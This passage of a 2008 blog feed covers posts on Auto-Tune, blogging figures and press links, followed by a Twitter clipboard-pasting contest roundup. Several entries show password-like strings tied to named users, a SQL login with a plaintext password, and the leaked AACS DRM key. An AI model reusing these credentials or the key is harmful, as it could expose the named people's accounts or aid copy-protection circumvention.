ever since.</p> <p>Add in his influence in efforts like advising the original <a href="http://pyra.com/">Pyra</a> team, which created Blogger, and it calls to mind the old chestnut about the Velvet Underground: Not everybody has read Michael Sippey's blog, but everyone who did, started a blog. (And at some point in recent history, it's possible that everyone who did started a blogging <em>company</em>.) Congrats to my friend Michael on putting that experience on display on the biggest stage around.</p> <p>(And oh yeah, if you're the best in the world at what you do, you can <a href="http://www.sixapart.com/about/jobs/">work at Six Apart</a>, too.)</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=qOVDvz"><img src="http://feeds.feedburner.com/~a/AnilDash?i=qOVDvz" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=TQ2CXI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=TQ2CXI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=dJuD1I"><img src="http://feeds.feedburner.com/~f/AnilDash?i=dJuD1I" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/309717879" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Fsippey-superstar.htmlhttp://www.dashes.com/anil/2008/06/sippey-superstar.html Auto-Tune Goes Legit tag:www.dashes.com,2008:/anil//1.6982 2008-06-06T21:17:50Z 2008-06-08T04:09:32Z Dedicated readers will recall me obsessing over and over-analyzing Auto-Tune in pop music earlier this year. It is, then, my pleasure to report that, thanks to the inestimable Sasha Frere-Jones, Auto-Tune analysis has gone legit. Behold, no less an authority than the New Yorker weighs in on Auto-Tune, especially T-Pain's... Anil http://anildash.com/ <p>Dedicated readers will recall me <a href="http://www.dashes.com/anil/2008/02/when-autotune-strikes.html">obsessing over</a> and <a href="http://www.dashes.com/anil/2008/02/last-of-the-autotune.html">over-analyzing</a> <a href="http://www.dashes.com/anil/2008/02/the-death-of-analog-vocoder-edition.html">Auto-Tune in pop music</a> earlier this year. It is, then, my pleasure to report that, thanks to the inestimable <a href="http://sashafrerejones.com/">Sasha Frere-Jones</a>, Auto-Tune analysis has gone legit. Behold, no less an authority than <a href="http://www.newyorker.com/arts/critics/musical/2008/06/09/080609crmu_music_frerejones?currentPage=all">the New Yorker weighs in on Auto-Tune</a>, especially T-Pain's (ab)use of it:</p> <blockquote> <p>This, roughly, is what happens: Auto-Tune locates the pitch of a recorded vocal, and moves that recorded information to the nearest "correct" note in a scale, which is selected by the user. With the speed set to zero, unnaturally rapid corrections eliminate portamento, the musical term for the slide between two pitches. Portamento is a natural aspect of speaking and singing, central to making people sound like people. A nonmusical example of portamento would be "up-speak," a verbal tic common in some people under thirty. (Can you imagine the end of every sentence rising in pitch? Like a question?) Processed at zero speed, Auto-Tune turns the lolling curves of the human voice into a zigzag of right-angled steps. These steps may represent "perfect" pitches, but when sung pitches alternate too quickly the result sounds unnatural, a fluttering that is described by some engineers as "the gerbil" and by others as "robotic."</p> </blockquote> <p>The gerbil.</p> <p><strong>Update:</strong> <a href="http://www.newyorker.com/online/2008/06/09/080609on_audio_frerejones/">Now with audio</a>! "Here Frere-Jones talks about how Auto-Tune has become a pop-music phenomenon, and demonstrates how it can transform the human voice, with the help of the music producer Tom Beaujour."</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=TLxP90"><img src="http://feeds.feedburner.com/~a/AnilDash?i=TLxP90" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=qGO0wI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=qGO0wI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=8FEwQI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=8FEwQI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/306372637" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Fauto-tune-goes-legit.htmlhttp://www.dashes.com/anil/2008/06/auto-tune-goes-legit.html Tomboy Hacks tag:www.dashes.com,2008:/anil//1.6981 2008-06-02T04:03:55Z 2008-06-02T04:10:02Z Trapani ventured that if the internet had been around when she was a teenager she might have felt less isolated: "I kind of wish I had the access to the internet that teenagers have today." She got a gleam in her eyes when she started to talk about what life... Anil http://anildash.com/ <blockquote>Trapani ventured that if the internet had been around when she was a teenager she might have felt less isolated: "I kind of wish I had the access to the internet that teenagers have today." She got a gleam in her eyes when she started to talk about what life could've been like as a wired youngster, being able to "express yourself online in a way that you'd be totally afraid to do in real life." She added, "I think I would have had a lot of alter egos online as a kid if I had access to the internet."</blockquote> <p><a href="http://www.afterellen.com/people/2008/5/ginatrapani">Cheryl Coward</a>, on AfterEllen, writing about <a href="http://www.ginatrapani.com/">Gina Trapani</a>.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=WZ5eEC"><img src="http://feeds.feedburner.com/~a/AnilDash?i=WZ5eEC" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=ctuWgI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=ctuWgI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=2lSu8I"><img src="http://feeds.feedburner.com/~f/AnilDash?i=2lSu8I" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/302711122" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Ftomboy-hacks.htmlhttp://www.dashes.com/anil/2008/06/tomboy-hacks.html On Exposure tag:www.dashes.com,2008:/anil//1.6980 2008-06-02T03:57:21Z 2008-06-02T04:02:04Z I started blogging when I was 25, and it was a much smaller blogosphere back in 2000. I was able to make my mistakes in oversharing, overexposure, and unmitigated egotism in a smaller pond, without the entire New York media world and Jimmy Kimmel staring at me. In some ways,... Anil http://anildash.com/ <blockquote>I started blogging when I was 25, and it was a much smaller blogosphere back in 2000. I was able to make my mistakes in oversharing, overexposure, and unmitigated egotism in a smaller pond, without the entire New York media world and Jimmy Kimmel staring at me. In some ways, blogging and I grew up together, so by the time I was doing national television, I'd already had lots of media training ... a luxury Emily Gould didn't seem to have. I also developed some personal boundaries before I had thousands of daily readers, a luxury Emily Gould also didn't have.</blockquote> <p><a href="http://electrolicious.com/2008/05/emily-gould">Ariel Meadow Stallings</a>, on Emily Gould's recent <a href="http://www.nytimes.com/2008/05/25/magazine/25internet-t.html?ei=5070&amp;en=ec3c61edbcfe6cbb&amp;ex=1212292800&amp;emc=eta1&amp;pagewanted=all">NY Times Magazine</a> cover story.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=u4cppF"><img src="http://feeds.feedburner.com/~a/AnilDash?i=u4cppF" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=gwtL4I"><img src="http://feeds.feedburner.com/~f/AnilDash?i=gwtL4I" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=TV8XoI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=TV8XoI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/302707711" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Fon-exposure.htmlhttp://www.dashes.com/anil/2008/06/on-exposure.html I'm on the Internet! tag:www.dashes.com,2008:/anil//1.6979 2008-05-19T04:40:17Z 2008-05-19T05:21:35Z Because my name and my big ole' head are sitting on top of this page, it's probably not making the self-indulgence any worse to collect a few links to some recent places I've popped up online: Gawker recommended my Twitter account as one to follow after Krucoff posted a list... Anil http://anildash.com/ <p>Because my name and my big ole' head are sitting on top of this page, it's probably not making the self-indulgence any worse to collect a few links to some recent places I've popped up online:</p> <ul> <li><a href="http://gawker.com/391246/your-twitter+stalking-power-list">Gawker recommended</a> <a href="http://twitter.com/anildash">my Twitter account</a> as one to follow after <a href="http://youngmanhattanite.com/2008/05/dont-shoot-canary.html">Krucoff posted a list to Young Manhattanite</a> based on <a href="http://fimoculous.com/">Rex</a>'s suggestions. The strange thing to me is that Gawker is (still!) such a presence in media circles in <span class="caps">NYC </span>that 6,000 people would actually <em>read</em> such a thing. Of course, they're all just wannabees -- real Gawker credit comes from having been <a href="http://gawker.com/news/chris-anderson/shades-of-launch-party-chris-anderson-and-anil-dash-11224.php">at the launch party</a> five years ago. I'm just sayin'. (For more, similarly inane insights, <a href="http://twitter.com/anildash">add me on Twitter</a>!)</li> <li>I helped <a href="http://blogs.forrester.com/charleneli/">Charlene Li</a> (a.k.a. The Best Tech Industry Analyst) <a href="http://blogs.forrester.com/charleneli/2008/03/how-i-made-833.html">save $8.33</a> by <a href="http://www.dashes.com/anil/2007/12/unsolicited-testimonial-clear-card.html">offering up my testimonial about the Clear card</a>. That's enough to pay for a subscription to dashes.com for more than a year!</li> <li><a href="http://www.wired.com/techbiz/startups/magazine/16-05/st_alpha">Mat Honan wrote a piece in Wired</a> about <a href="http://thebigwordproject.com/">The Big Word Project</a>, the <del>scam</del> website where people pay for words. My site shows up because it's the link for the word "<a href="http://www.thebigwordproject.com/search?word=purple">purple</a>", even though I didn't do it myself. I blame Mike.</li> <li><span class="caps">CRN </span>has a (really very good) <a href="http://www.crn.com/it-channel/207400714;jsessionid=EX21SA455BICUQSNDLRSKH0CJUNN2JVN?pgno=1">look at what the technology industry wants from the Presidential candidates</a>, with responses from the likes of Bill Gates and Paul Otellini. Inexplicably, <a href="http://www.crn.com/it-channel/207400714;jsessionid=GGUUKCVWKQOVOQSNDLRSKH0CJUNN2JVN?pgno=11">I'm in there, too</a>: "The No. 1 thing we want to see is elected officials use social networking tools online as a tool for governance and for leadership when in office, just as they do to get elected." Basically, I am tired of politicians treating web communities as an <span class="caps">ATM </span>for their campaigns, instead of seeing the web as an opportunity for fixing government.</li> <li>And last but certainly not least, "<a href="http://mediabistro.com/articles/cache/a10184.asp">So What Do You Do, Anil Dash</a>". It's a really long interview with me by the folks at Mediabistro, in advance of my presentation at the <a href="http://www.mediabistrocircus.com/">Mediabistro Circus</a> event on Tuesday. If you know me, there's probably few surprises, but I was happy to get the chance to articulate a lot of points that I otherwise don't usually talk about explicitly. Most of all, I am really glad to help emphasize how vibrant the technology scene is here in New York City; My biggest goal in participating in these sorts of conferences here in New York is to show people that there's a lot more going on with tech here than people might realize if they're myopically focused on just Silicon Valley.</li> </ul> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=5XqzG6"><img src="http://feeds.feedburner.com/~a/AnilDash?i=5XqzG6" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=KVlsnH"><img src="http://feeds.feedburner.com/~f/AnilDash?i=KVlsnH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=dzH25H"><img src="http://feeds.feedburner.com/~f/AnilDash?i=dzH25H" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/293258281" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F05%2Fim-on-the-internet.htmlhttp://www.dashes.com/anil/2008/05/im-on-the-internet.html Paste to Win! (A Twitter Contest) tag:www.dashes.com,2008:/anil//1.6977 2008-05-09T04:23:57Z 2008-05-09T06:26:39Z If you haven't been following my Twitter account, you're missing all the fun! In between going aggro on teakettles, taking an unseemly joy in crude wordplay, and in general trying to channel my incessant nattering into an attempt at being entertaining. But now I've tried to do something a little... Anil http://anildash.com/ <p>If you haven't been following <a href="http://twitter.com/anildash">my Twitter account</a>, you're missing all the fun! In between <a href="http://twitter.com/anildash/statuses/806678829">going aggro on teakettles</a>, taking an unseemly joy in <a href="http://twitter.com/anildash/statuses/799137112">crude wordplay</a>, and in general trying to channel my incessant nattering into an <a href="http://favotter.matope.com/en/user.php?user=anildash&amp;mode=best">attempt at being entertaining</a>. But now I've tried to do something a little bit different, starting a <a href="http://twitter.com/anildash/statuses/805608769">little Twitter contest</a> with some simple rules of entry:</p> <blockquote> <p>Okay, everybody, it's Ctrl-V time! Paste into Twitter whatever text you copied last, and @anildash me. Best paste gets a prize.</p> </blockquote> <p>Amazingly, I got <strong>160 responses</strong> from over 150 different people, and I've assembled the results into a few categories here for your enjoyment. I removed the date stamps and other clutter from the responses, and formatted the (many!) links into readable formats with some very brief descriptions appended. The categories I've grouped them into include <a href="#mundane">mundane</a>, <a href="#passwords">passwords</a>, <a href="#links">links</a>, <a href="#linkstext">links with text</a>, <a href="#actually">actually working</a>, <a href="#nerds">nerds and coders</a>, <a href="#explainers">explainers</a>, <a href="#jokers">jokers</a>, <a href="#WTF"><span class="caps">WTF</span></a>, and <a href="#pleasing">pleasant</a>. And then, finally, from all these submissions, I name our <a href="#winner">winner</a>, along with the surprise prize. Enjoy, and please feel free to mention your favorites in the comments.</p> <h4><a name="mundane"></a>Mundane</h4> These were, of course, the perfunctory entries in the contest, people who had the misfortune to have been doing something simple and ordinary when the contest launched. They're all exciting, talented individuals, but just had bad luck at the time with what was on the ole' clipboard. <ul> <li><a href="http://twitter.com/alexhutton">alexhutton</a> Herrera, Javier</li> <li><a href="http://twitter.com/beuwulf">beuwulf</a> g8 timing....</li> <li><a href="http://twitter.com/blackbeltjones">blackbeltjones</a> sizewell B</li> <li><a href="http://twitter.com/blogdiva">blogdiva</a> @lolololori ...seriously, i always need to cut and paste twitter names</li> <li><a href="http://twitter.com/davidmohara">davidmohara</a> Walnut Hill and N Central Expy</li> <li><a href="http://twitter.com/DeanLand">DeanLand</a> something tells me this will not win. here goes: (hit ctrl-v) ok (guess who has been IMing)</li> <li><a href="http://twitter.com/gfmorris">gfmorris</a> Massey, Ed; Cagle, Chris --- was sending emails and needed to move some people from To: to Cc:. Lame, I know.</li> <li><a href="http://twitter.com/mdclements">mdclements</a> May 7, 2008no_watch_me Oops.</li> <li><a href="http://twitter.com/popgloss">popgloss</a> Go to Sam French and get the play...I have to be at Idol by 3pm. (I had to copy and paste because the 1st text didn't send)</li> <li><a href="http://twitter.com/rcphq">rcphq</a> "yes!!! twitter im reboot (delete and readd the bot) worked for my IM notifications"</li> <li><a href="http://twitter.com/rey">rey</a> I'm only giving updates to friends. Add me.</li> <li><a href="http://twitter.com/shaneomack">shaneomack</a> ... (I'd paste something, but I just started my computer...no clipboard data to paste! That's good for something, right?)</li> <li><a href="http://twitter.com/torrez">torrez</a> 1Z1A715V0355643267 1Z1A715V0355643267</li> <li><a href="http://twitter.com/underoak">underoak</a> ?</li> <li><a href="http://twitter.com/USSJoin"><span class="caps">USSJ</span>oin</a> Kibbutz Hanaton</li> <li><a href="http://twitter.com/vanderwal">vanderwal</a> V</li> </ul> <h4><a name="passwords"></a>Passwords</h4> I don't have any proof that all of these random strings are <em>actually</em> people's passwords, but I'd like to think we can hack all their accounts with this information. <ul> <li><a href="http://twitter.com/bgilham">bgilham</a> lHE)urEfB8!U </li> <li><a href="http://twitter.com/centrs">centrs</a> it's confidential.</li> <li><a href="http://twitter.com/cvodb">cvodb</a> batmarlowe</li> <li><a href="http://twitter.com/jonpederson">jonpederson</a> This could be dangerous, but here it goes... "1237"</li> <li><a href="http://twitter.com/peterme">peterme</a> YmHgujE2</li> <li><a href="http://twitter.com/randysouza">randysouza</a> wETpfAp4</li> <li><a href="http://twitter.com/rayners">rayners</a> I can't, it's a password.</li> <li><a href="http://twitter.com/ruby">ruby</a> X5PueOOefU</li> </ul> <h4><a name="links"></a>Links</h4> Ah, the bread and butter of Twitter. A surprising number of wacky or topical news stories, along with the detritus of people passing along links to their friends. Almost all of these were originally TinyURLs; I rewrote them with brief summaries for convenience, but may have sacrificed some accuracy in the process. <ul> <li><a href="http://twitter.com/aaronbailey">aaronbailey</a> Paste happens to be a MT <span class="caps">URL </span>=) [<a href="http://mt41.SECRET-MEDIA-CO.com/system/mt.cgi?__mode=list&amp;_type=template&amp;blog_id=11" title="http://mt41.SECRET-MEDIA-CO.com/system/mt.cgi?__mode=list&amp;_type=template&amp;blog_id=11">unreachable test <span class="caps">URL</span></a>]</li> <li><a href="http://twitter.com/arnor">arnor</a> [<a href="http://www.cnettv.com/9706-1_53-0.xml?keywords=%22buzz%20out%20loud%22&amp;title=Results%20for%3A%20%22buzz%20out%20loud%22" title="http://www.cnettv.com/9706-1_53-0.xml?keywords=%22buzz%20out%20loud%22&amp;title=Results%20for%3A%20%22buzz%20out%20loud%22"><span class="caps">CNET</span> TV podcast feed</a>]</li> <li><a href="http://twitter.com/Assertagirl">Assertagirl</a> [<a href="http://www.weedsandseedswap.com/" title="http://www.weedsandseedswap.com/">seed and plant exchange</a>]</li> <li><a href="http://twitter.com/bigjim">bigjim</a> [<a href="http://forums.esri.com/Thread.asp?c=93&amp;f=986&amp;t=214965&amp;mc=9" title="http://forums.esri.com/Thread.asp?c=93&amp;f=986&amp;t=214965&amp;mc=9"><span class="caps">ESRI </span>support forum</a>]</li> <li><a href="http://twitter.com/capndesign">capndesign</a> [<a href="http://www.theonion.com/content/news/potential_employee_uprising" title="http://www.theonion.com/content/news/potential_employee_uprising">Pizza story from The Onion</a>]</li> <li><a href="http://twitter.com/cshirky">cshirky</a> [<a href="http://SFZero.org" title="http://SFZero.org">http://SFZero.org</a>]</li> <li><a href="http://twitter.com/danyork">danyork</a> [<a href="http://blogs.zdnet.com/microsoft/?p=1382" title="http://blogs.zdnet.com/microsoft/?p=1382">Microsoft Live Mesh post on <span class="caps">ZDN</span>et</a>]</li> <li><a href="http://twitter.com/dbarefoot">dbarefoot</a> I'm so embarassed by the <span class="caps">URL </span>in my copy/paste buffer: [<a href="http://www.indieshopping.com/blog/" title="http://www.indieshopping.com/blog/">IndieShopping blog</a>]</li> <li><a href="http://twitter.com/dims">dims</a> [<a href="http://sourceforge.net/project/showfiles.php?group_id=128811" title="http://sourceforge.net/project/showfiles.php?group_id=128811">SourceForge Java <span class="caps">WSDL </span>project</a>]</li> <li><a href="http://twitter.com/djchall">djchall</a> [<a href="http://tinyurl.com/5n9q98" title="http://tinyurl.com/5n9q98">unreachable test <span class="caps">URL</span></a>]</li> <li><a href="http://twitter.com/dwitzel">dwitzel</a> [<a href="http://www.cgdev.org/content/article/detail/15975/" title="http://www.cgdev.org/content/article/detail/15975/">Scott McNealy video on sharing</a>]</li> <li><a href="http://twitter.com/EffingBoring">EffingBoring</a> [<a href="http://www.hillaryis404.org/" title="http://www.hillaryis404.org/">http://www.hillaryis404.org/</a>]</li> <li><a href="http://twitter.com/elroy">elroy</a> [<a href="http://www.chicagotribune.com/news/local/blotter/chi-truck-fire-ribs-web-may01,1,3771531.story" title="http://www.chicagotribune.com/news/local/blotter/chi-truck-fire-ribs-web-may01,1,3771531.story">Chicago Tribune story about ribs fire</a>]</li> <li><a href="http://twitter.com/ericagee">ericagee</a> [<a href="http://bustedtees.com/wikipedia" title="http://bustedtees.com/wikipedia">http://bustedtees.com/wikipedia</a>]</li> <li><a href="http://twitter.com/gen">gen</a> [<a href="http://strobist.blogspot.com/2008/04/on-assignment-par-for-course.html" title="http://strobist.blogspot.com/2008/04/on-assignment-par-for-course.html">Professional photographer's blog</a>]</li> <li><a href="http://twitter.com/ImGenie">ImGenie</a> [<a href="http://twitter.com/iht" title="http://twitter.com/iht"><span class="caps">IHT </span>account on Twitter</a>]</li> <li><a href="http://twitter.com/innonate">innonate</a> ctl-v this: [<a href="http://www.youtube.com/watch?v=vc1ARRgbRN0" title="http://www.youtube.com/watch?v=vc1ARRgbRN0">political commercial on YouTube</a>]</li> <li><a href="http://twitter.com/jetsongreen">jetsongreen</a> my control-v: [<a href="http://www.redfin.com/CA/VENICE/1650-ABBOT-KINNEY-Blvd-90291/home/12415438" title="http://www.redfin.com/CA/VENICE/1650-ABBOT-KINNEY-Blvd-90291/home/12415438">Redfin real estate listing page</a>]</li> <li><a href="http://twitter.com/lavidalibre">lavidalibre</a> [<a href="http://www.scienceandartsacademy.org/" title="http://www.scienceandartsacademy.org/">http://www.scienceandartsacademy.org/</a>]</li> <li><a href="http://twitter.com/Leftsider">Leftsider</a> [<a href="http://www.readwriteweb.com/archives/readwriteweb_new_design.php" title="http://www.readwriteweb.com/archives/readwriteweb_new_design.php">ReadWriteWeb post about redesign</a>]</li> <li><a href="http://twitter.com/marywallace">marywallace</a> [<a href="http://www.americanprogressaction.org/progressreportme3dia" title="http://www.americanprogressaction.org/progressreportme3dia">link</a>] [<a href="http://tinyurl.com/3krpar" title="http://tinyurl.com/3krpar">LiveScience story about food appeal</a>]</li> <li><a href="http://twitter.com/mediajunkie">mediajunkie</a> [<a href="http://money.cnn.com/2008/05/02/news/newsmakers/silicon_valley_beards.fortune/" title="http://money.cnn.com/2008/05/02/news/newsmakers/silicon_valley_beards.fortune/">Fortune story on tech guys with beards</a>]</li> <li><a href="http://twitter.com/michellej">michellej</a> [<a href="http://www.etsy.com/view_listing.php?listing_id=11096608" title="http://www.etsy.com/view_listing.php?listing_id=11096608">Obama shirt on Etsy</a>]</li> <li><a href="http://twitter.com/mortennorby">mortennorby</a> [<a href="http://tumblelog.marco.org/post/34007904" title="http://tumblelog.marco.org/post/34007904">Hillary political cartoon</a>]</li> <li><a href="http://twitter.com/ndaniel">ndaniel</a> [<a href="http://www.youtube.com/watch?v=CST7XOxw4Dk" title="http://www.youtube.com/watch?v=CST7XOxw4Dk">Nina Hagen video on YouTube</a>]</li> <li><a href="http://twitter.com/nuin">nuin</a> [<a href="http://www.blackwell-synergy.com/action/showFeed?mi=gqvfe&amp;ai=1o5&amp;jc=CLA&amp;type=etoc&amp;feed=rss" title="http://www.blackwell-synergy.com/action/showFeed?mi=gqvfe&amp;ai=1o5&amp;jc=CLA&amp;type=etoc&amp;feed=rss"><span class="caps">RSS </span>feed for the Cladistics journal</a>]</li> <li><a href="http://twitter.com/openskymedia">openskymedia</a> [<a href="http://www.thealarmclock.com/mt/archives/clearwire%20logo.png" title="http://www.thealarmclock.com/mt/archives/clearwire%20logo.png">Logo for Clearwire</a>]</li> <li><a href="http://twitter.com/pbausch">pbausch</a> [<a href="http://ecx.images-amazon.com/images/I/21E51E03FJL._SL75_.jpg" title="http://ecx.images-amazon.com/images/I/21E51E03FJL._SL75_.jpg">Amazon thumbnail for Talking Heads album cover</a>]</li> <li><a href="http://twitter.com/Perryesp">Perryesp</a> [<a href="http://www.philly.com/philly/hp/news_update/20080507_Plot_by_Pittsburgh_fans_against_Rocky_statue_.html" title="http://www.philly.com/philly/hp/news_update/20080507_Plot_by_Pittsburgh_fans_against_Rocky_statue_.html">Philly.com story about Pittsburg fans plotting against Rocky statue</a>]</li> <li><a href="http://twitter.com/plasticmind">plasticmind</a> [<a href="http://img.skitch.com/20080507-8xa6difymc4ic7ra1ukpa3cd5w.png" title="http://img.skitch.com/20080507-8xa6difymc4ic7ra1ukpa3cd5w.png">A Skitch image of an illustration</a>]</li> <li><a href="http://twitter.com/raghus">raghus</a> [<a href="http://feedflix.com" title="http://feedflix.com">http://feedflix.com</a>]</li> <li><a href="http://twitter.com/rodbegbie">rodbegbie</a> [<a href="http://musicbrainz.org/artist/992023a1-8ee8-4aab-8e84-7825546a2b01.html" title="http://musicbrainz.org/artist/992023a1-8ee8-4aab-8e84-7825546a2b01.html">Shawn Lee's Ping Pong Orchestra on MusicBrainz</a>]</li> <li><a href="http://twitter.com/ryankuder">ryankuder</a> [<a href="http://waiting-for.com/" title="http://waiting-for.com/">http://waiting-for.com/</a>]</li> <li><a href="http://twitter.com/smalljones">smalljones</a> [<a href="http://nccbi.wiki.is" title="http://nccbi.wiki.is">http://nccbi.wiki.is</a>]</li> <li><a href="http://twitter.com/smartsculture">smartsculture</a> [<a href="http://www.nytimes.com/2007/06/03/arts/music/03kram.html?pagewanted=1" title="http://www.nytimes.com/2007/06/03/arts/music/03kram.html?pagewanted=1">NY Times story on concert halls</a>]</li> <li><a href="http://twitter.com/steyblind">steyblind</a> [<a href="http://localhost/mobile/ind..." title="http://localhost/mobile/ind...">unreachable development <span class="caps">URL</span></a>] </li> <li><a href="http://twitter.com/sugeneris">sugeneris</a> [<a href="http://diversionwednesday.blogspot.com/2008/05/kraft-really-needs-to-talk-to-parents.html" title="http://diversionwednesday.blogspot.com/2008/05/kraft-really-needs-to-talk-to-parents.html">Diversion Wednesday blog</a>]</li> <li><a href="http://twitter.com/tenuto">tenuto</a> [<a href="http://www.nytimes.com/2008/05/07/nyregion/07violin.html?_r=1&amp;partner=rssnyt&amp;emc=rss&amp;oref=slogin" title="http://www.nytimes.com/2008/05/07/nyregion/07violin.html?_r=1&amp;partner=rssnyt&amp;emc=rss&amp;oref=slogin"><span class="caps">NYT</span>imes story on a lost Stradivarius</a>]</li> <li><a href="http://twitter.com/timoni">timoni</a> [<a href="http://philippe.tromeur.free.fr/whrpg.htm" title="http://philippe.tromeur.free.fr/whrpg.htm">Wuthering Heights Roleplay</a>]</li> <li><a href="http://twitter.com/tombiro">tombiro</a> [<a href="http://www.seteditions.com/stoptalking.html" title="http://www.seteditions.com/stoptalking.html">a box of "stop talking" cards</a>]</li> <li><a href="http://twitter.com/tonx">tonx</a> [<a href="http://www.flickr.com/photos/tonx/2454007638/in/set-72157604612355746/" title="http://www.flickr.com/photos/tonx/2454007638/in/set-72157604612355746/">Photo of eating a coffee cherry</a>] #ctrl-v</li> <li><a href="http://twitter.com/tysoncrosbie">tysoncrosbie</a> [<a href="http://en.wikipedia.org/wiki/Bokeh" title="http://en.wikipedia.org/wiki/Bokeh">http://en.wikipedia.org/wiki/Bokeh</a>]</li> <li><a href="http://twitter.com/watters">watters</a> [<a href="http://www.amazon.com/Apple-iPod-shuffle-Silver-Generation/dp/B000IHGJ50/" title="http://www.amazon.com/Apple-iPod-shuffle-Silver-Generation/dp/B000IHGJ50/">Amazon page for iPod Shuffle</a>]</li> </ul> <h4><a name="linkstext"></a>Links + Text</h4> Same thing as the links, but these folks had something to say about their links. <ul> <li><a href="http://twitter.com/akshayjava">akshayjava</a> http://ebiquity.umbc.edu/blogger/feed/atom here is an opportunity for a shameless plug! :-)</li> <li><a href="http://twitter.com/amil">amil</a> "Wow, Barack!...That ain't your &amp;%?! name. Your momma ain't name you no damn Barack." DMX: http://www.xxlmag.com/online/?p=20332</li> <li><a href="http://twitter.com/clamhead">clamhead</a> http://www.flickr.com/photo... ...Photos from my stepson's birthday party.</li> <li><a href="http://twitter.com/fuzzy">fuzzy</a> <a href="http://onomatopoetically.com">Onomatopoetically</a> </li> </ul> <h4><a name="actually"></a>Actually Working</h4> The brief snippets that showed up from a few folks indicated they were <em>actually in the middle of doing productive work</em> when the contest began. I take no small satisfaction in having interrupted their productivity. <ul> <li><a href="http://twitter.com/Bash">Bash</a> photography? scheduled for 19 May 2008</li> <li><a href="http://twitter.com/jaysavage">jaysavage</a> Believe me, I sympathize, but IT has no role in this process. ITs role is limited to making sure the computers are plugged in.</li> <li><a href="http://twitter.com/jreighley">jreighley</a> Vivain called back to check the status on this...</li> <li><a href="http://twitter.com/mat">mat</a> Water flume tests were used to assess the effects of passive drag</li> <li><a href="http://twitter.com/meyerweb">meyerweb</a> Coming to Boston on June 23-24, San Francisco on August 18-19, 2008, and Chicago on October 13-14.</li> <li><a href="http://twitter.com/nichcarlson">nichcarlson</a> Jackson's ire this time: the Yahoo board's insistence on $37 a share after Microsoft upped its bid to $33 rather than looking ...</li> <li><a href="http://twitter.com/pamslim">pamslim</a> Coaching agreements are constructed around specific objectives such as: * Defining the kind of work that you love .. (too big)</li> <li><a href="http://twitter.com/shifted">shifted</a> "I hate email like this"</li> <li><a href="http://twitter.com/sighclub">sighclub</a> here's my Ctrl-V: Should I? Is that a good idea to explore the conversation or would it stifle it?</li> <li><a href="http://twitter.com/tenuto">tenuto</a> not really sure what that is, actually</li> <li><a href="http://twitter.com/thoughtfarmer">thoughtfarmer</a> After looking at six or eight products last summer, [Hicks Morley] settled on ThoughtFarmer (www.thoughtfarmer.com), server-based </li> <li><a href="http://twitter.com/wayneyeager">wayneyeager</a> - Ctrl+v = automateyourbusiness</li> <li><a href="http://twitter.com/wfreds">wfreds</a> external link to eDM case topics</li> <li><a href="http://twitter.com/zackgonzales">zackgonzales</a> Franchise Development 78 Product Engineering 77</li> </ul> <h4><a name="nerds"></a>Nerds and Coders</h4> Some of these could easily have fallen under the <a href="#actually">Actually Working</a> category, but I know a lot of geeks, and that manifests itself as a lot of code, errors, system messages and the like showing up in people's copy-and-paste tweets. <ul> <li><a href="http://twitter.com/Asfaq">Asfaq</a> SL is in the down cycle that precedes slow disappearance or phoenix like re-emergence. Hope its latter</li> <li><a href="http://twitter.com/atonse">atonse</a> well i don't want to go to a coffee shop cuz we do the whole find-an-outlet dance</li> <li><a href="http://twitter.com/banky">banky</a> use master go <span class="caps">CREATE LOGIN PPENGUIN WITH </span>password = 'PPENGUIN', <span class="caps">CHECK</span>_POLICY = off, <span class="caps">DEFAULT</span>_DATABASE = siebeldb go use siebe</li> <li><a href="http://twitter.com/bsdeluxe">bsdeluxe</a> stopping after explicit exit</li> <li><a href="http://twitter.com/chrisfullman">chrisfullman</a> 09-f9-11-02-9d-74-e3-5b-d8-41-56-c5-63-56-88-c0 (Yeah, seriously.)</li> <li><a href="http://twitter.com/coffeechica">coffeechica</a> insomnia who has long be a voice of reason, passion and technical knowledge here in the world of <span class="caps">LJ...</span></li> <li><a href="http://twitter.com/DanielLight">DanielLight</a> somafm</li> <li><a href="http://twitter.com/elbrackeen">elbrackeen</a> 